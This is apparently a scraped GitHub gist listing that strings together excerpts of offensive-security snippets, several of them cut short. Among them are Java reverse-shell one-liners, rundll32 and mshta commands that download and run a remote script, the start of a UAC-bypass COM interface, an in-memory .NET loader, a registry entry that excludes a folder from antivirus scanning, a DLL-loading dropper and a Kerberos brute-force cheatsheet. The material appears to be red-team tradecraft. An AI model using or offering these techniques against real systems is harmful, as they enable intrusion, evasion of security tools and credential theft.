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@pwntester
pwntester / README.md
Last active April 19, 2022 11:51
JRE8 RCE gadget
@frohoff
frohoff / JVM_POST_EXPLOIT.md
Last active December 13, 2023 15:02
JVM Post-Exploitation One-Liners

Nashorn / Rhino:

  • Reverse Shell
$ jrunscript -e 'var host="localhost"; var port=8044; var cmd="cmd.exe"; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
  • Reverse Shell (Base-64 encoded)
$ jrunscript -e 'eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary("dmFyIGhvc3Q9ImxvY2FsaG9zdCI7IHZhciBwb3J0PTgwNDQ7IHZhciBjbWQ9ImNtZC5leGUiOyB2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKGNtZCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoaG9zdCxwb3J0KTt2YXIgcGk9cC5nZXRJbnB1dFN0cmVhbSgpLHBlPXAuZ2V
@NickTyrer
NickTyrer / instructions.txt
Last active May 1, 2023 13:12
xwizard_sct
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
verclsid.exe /S /C {00000001-0000-0000-0000-0000FEEDACDC}
create new folder and rename file.{00000001-0000-0000-0000-0000FEEDACDC}
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";o=GetObject("script:https://gist.githubusercontent.com/NickTyrer/0598b60112eaafe6d07789f7964290d5/raw/7717cfad109fc15a6796dd9119b0267f7a4df3fd/power.sct");close();
mshta javascript:o=GetObject("script:https://gist.githubusercontent.com/NickTyrer/0598b60112eaafe6d07789f7964290d5/raw/7717cfad109fc15a6796dd9119b0267f7a4df3fd/power.sct");o.Exec();close();
@hfiref0x
hfiref0x / akagi_42b.c
Last active February 14, 2024 11:56
UAC bypass using FwCplLua COM interface and HKCU mscfile registry entry hijack
typedef interface IFwCplLua IFwCplLua;
typedef struct IFwCplLuaInterfaceVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE *QueryInterface)(
__RPC__in IFwCplLua * This,
__RPC__in REFIID riid,
_COM_Outptr_ void **ppvObject);
@mattifestation
mattifestation / LoadInMemoryModule.ps1
Created March 30, 2018 18:01
A stealthier method of loading a .NET PE in memory - via the Assembly.LoadModule method
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('TempAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('TempModule')
# Create a stub module that the in-memory module (i.e. this mimics the loading of a netmodule at runtime) will be loaded into.
$ModuleBuilder2 = $AssemblyBuilder.DefineDynamicModule('hello.dll')
$TypeBuilder = $ModuleBuilder.DefineType('TempClass', [Reflection.TypeAttributes]::Public)
$TypeBuilder.CreateType()
$HelloDllBytes = [Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNPvloAAAAAAAAAAOAAAiELAQsAAAQAAAAGAAAAAAAAPiMAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOQiAABXAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAA
@xpn
xpn / clr_via_native.c
Created April 11, 2018 21:34
A quick example showing loading CLR via native code
#include "stdafx.h"
int main()
{
ICLRMetaHost *metaHost = NULL;
IEnumUnknown *runtime = NULL;
ICLRRuntimeInfo *runtimeInfo = NULL;
ICLRRuntimeHost *runtimeHost = NULL;
IUnknown *enumRuntime = NULL;
LPWSTR frameworkName = NULL;
@mgeeky
mgeeky / sep-directory-exclusion.reg
Last active February 21, 2023 18:42
Symantec Endpoint Protection directory exclusion registry key. According to M-Trends 2018, one of techniques used to overcome active AV scanning is to create a directory for files drop and to add it into AV's exclusion via registry.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Symantec\Symantec Endpoint Protection\AV\Exclusions\ScanningEngines\Directory\Client\1733004144]
"Owner"=dword:00000004
"ProtectionTechnology"=dword:00000001
"FirstAction"=dword:00000011
"SecondAction"=dword:00000011
"DirectoryName"="C:\\to\\be\\excluded\\"
"ThreatName"="C:\\to\\be\\excluded\\"
"ExcludeSubDirs"=dword:00000001
@analyticsearch
analyticsearch / DllLoadAnythingViaScript
Created December 27, 2018 06:39
DynamicWrapperX - Dropper , Registration-Free Execution
#Doesn't Even Have to Be A Conformant COM DLL To trigger the load.
# Sample DLL To inject here
# https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1179
$manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="LiterallyDoesentMatter" version="6.6.6.0"/> <file name="Anyname.dll.anything"> <comClass description="Any Description HERE" clsid="{89565276-A714-4a43-91FE-EDACDCC0FFEE}" threadingModel="Both" progid="JustMakeSomethingUp"/> </file> </assembly>';
$ax = new-object -Com "Microsoft.Windows.ActCtx"
$ax.ManifestText = $manifest;
$DWX = $ax.CreateObject("JustMakeSomethingUp");
@Philts
Philts / Invoke-AccessXSLT.ps1
Last active February 14, 2021 15:32
<#
Lateral Movement Via MSACCESS TransformXML
Author: Philip Tsukerman (@PhilipTsukerman)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
function Invoke-AccessXSLT {
<#
@TarlogicSecurity
TarlogicSecurity / kerberos_attacks_cheatsheet.md
Created May 14, 2019 13:33
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module: